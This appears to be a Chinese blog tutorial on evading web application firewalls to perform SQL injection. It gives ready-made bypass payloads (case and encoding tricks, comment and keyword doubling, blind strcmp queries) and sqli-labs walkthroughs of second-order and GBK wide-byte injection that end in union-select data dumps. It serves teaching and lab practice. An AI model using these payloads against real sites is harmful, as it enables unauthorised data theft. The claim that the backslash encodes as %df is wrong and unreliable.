WAF绕过
WAF(Web Application Firewall)的中文名称叫做“Web应用防火墙”,它依靠安全策略对Web应用程序进行保护。安全策略是WAF的灵魂,所谓的“绕过WAF”就是指通过某种方式无视WAF的安全策略,达到攻击的目的。
方法1:变换大小写
比如WAF拦截了union,那就是用Union、UnIoN等方式绕过。
方法2:编码
- WAF检测敏感字‘~’,则可以用编码0x7e代替
- WAF检测敏感字select,则可以在URL中将select变成%73elEcT,编码接合大小写变换绕过WAF
- 可以用%09、%0a、%0b、%0c、%0d、%a0、/**/、/*somewords*/等来替换空格
方法3:利用注释符
- 适用于WAF只过滤了一次危险的语句,没有阻断整个查询语句的场合。
- 原查询语句为:?id=1 union select 1,2,3 对于这条查询,WAF过滤了一次union和select,我们可以在原查询语句union和select之前再写一个注释的语句,让WAF把注释里面的过滤掉,
?id=1/*union*/union/*select*/select 1,2,3
方法4:重写
- 适用于WAF只过滤一次敏感字的情况
- WAF过滤敏感字union,但只过滤一次,则可以写出类似ununionion这样的,过滤一次union后就会执行我们的查询了:?id=1 ununionion select 1,2,3
方法5:比较操作符替换
适用于某一比较操作符(如等号)被过滤的情况
!=不等于,<>不等于,<小于,>大于,这些都可以用来替换 = 来绕过。
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))>73
/?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))<75
WAF将=、>、<、全部过滤,则可以利用like来绕过
?id=1' or 1 like 1
方法6:同功能函数替换
- 适用于某一函数被过滤的情况。
- 假如substring()被WAF过滤,但substring()可以用同功能的mid(),substr等函数来替换,都是用来取字符串的某一位字符的。
原查询语句
substring((select 'password'),1,1)=0x70
替换后的查询语句
substr((select 'password'),1,1)=0x70
mid((select 'password'),1,1)=0x70
方法7:盲注的活用
适用于页面无回显或多种函数、逻辑运算符被过滤的情况
- strcmp(expr1,expr2)用来比较两个值,如果expr1=expr2,则函数返回0,expr1<expr2则返回-1,expr1>expr2则返回1。
- 假如index.php?uid=123页面返回是正确的,但WAF过滤了and和or,原查询语句index.php?uid=123 and left((select hash from users limit 0,1),1)='B',可用index.php?uid=strcmp(left((select hash from users limit 0,1),1),0x42)+123来替换,通过盲猜hash的第一位,如果第一位等于0x42也就是B,那么strcmp()将返回0,0+123=123,所以页面应该是正确的。否则就说明不是B,这样猜就不用and和or了。
方法8:二阶注入
所谓二阶注入(又称存储型注入)是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。
二阶注入与普通注入的区别
- 普通SQL注入:发生在一个HTTP请求和响应中,对系统的攻击是立即执行的:(1)攻击者在http请求中提交非法输入;(2)应用程序处理非法输入,使用非法输入构造SQL语句;(3)在攻击过程中向攻击者返回结果。
- 二阶SQL注入:(1)攻击者在http请求中提交某种经过构思的输入;(2)应用程序存储该恶意输入(通常保存在数据库中)以便后面使用并响应请求;(3)攻击者提交第二次(不同的)http请求;(4)为处理第二次http请求,程序会检索存储在数据库中的恶意输入并进行处理,从而导致攻击者构造的SQL查询被执行;(5)如果攻击成功,在第二次请求响应中向攻击者返回查询结果。
方法9:宽字节注入
适用于数据库使用双字节编码方式(如GBK)WAF利用AddSlashes()等函数对敏感字符进行转义的场景。(利用字符编码的不统一)
背景:
- 统一的国际规范的理想状态:程序都使用Unicode编码,所有的网站都使用UTF-8编码。
- 现状:国内及国外(特别是非英语国家)的一些cms,仍然使用着自己国家的一套编码,比如GBK。也有一些cms为了考虑老用户,所以出了GBK和UTF-8两个版本。
二阶注入实例
进入sqli-less-24注册新用户,用户名为 admin'#,密码为123456

第二步:利用该用户成功登录后,直接修改该用户密码为111111
修改admin'#的密码111111时,后端数据库执行的命令是
UPDATE users SET PASSWORD='111111' where username='admin'#' and password='123456'
#表示注释,上述语句即等价于
UPDATE users SET PASSWORD='111111' where username='admin'
这条语句执行的最终结果是将admin用户的密码修改为了111111

第三步,可直接以admin用户登录,登录密码为111111
宽字节注入实例
进入第32关
1.寻找注入点
http://127.0.0.1/sqli/Less-32/?id=1'
运行后正常显示用户名和密码,但下方提示‘前被加上了\
此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。

这里要利用数据库编码方式上的特性,想办法将’前面的转义符\除掉
\的url编码为%df
http://127.0.0.1/sqli/Less-32/?id=1%df'

运行后页面发生报错原因是 1%df被识别成一个汉字,从而发生报错
http://127.0.0.1/sqli/Less-32/?id=1%df' --+
运行后显示正常

可以判断网站存在字符型注入点,有宽字节注入漏洞
后面就可以判断列数然后进行暴库报表等操作了。
http://127.0.0.1/sqli/Less-32/?id=1%df' order by 3 --+
http://127.0.0.1/sqli/Less-32/?id=-1%df' union select 1,2,3 --+
http://127.0.0.1/sqli/Less-32/?id=-1%df' union select 1,database(),3--+


186

被折叠的 条评论
为什么被折叠?



